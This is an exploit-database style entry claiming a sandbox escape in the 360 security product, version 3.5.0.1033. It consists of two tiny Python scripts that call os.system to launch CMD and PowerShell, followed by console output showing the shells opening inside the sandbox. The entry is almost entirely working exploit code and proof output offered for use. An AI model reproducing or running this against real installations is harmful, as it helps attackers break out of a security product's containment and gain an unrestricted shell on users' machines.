360 3.5.0.1033 - Sandbox Escape

# Exploit Title: 360 3.5.0.1033 - Sandbox Escape
# Date: 2018-10-08
# Exploit Author: vr_system
# Vendor Homepage: https://www.360.cn/
# Software Link: https://dl.360safe.com/360/inst.exe
# Version: 3.5.0.1033
# Tested on: 3.5.0.1033
# CVE : None

# 1、CMD_test.py
import os
os.system("CMD")

# 2、PowerShell_test.py
import os
os.system("PowerShell")

# 3、
# Running CMD_test.py in sandbox：
Microsoft Windows [版本 10.0.17134.254]
(c) 2018 Microsoft Corporation。保留所有权利。

C:\Python27>

# Running PowerShell_test.py in sandbox：
Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

PS C:\Python27>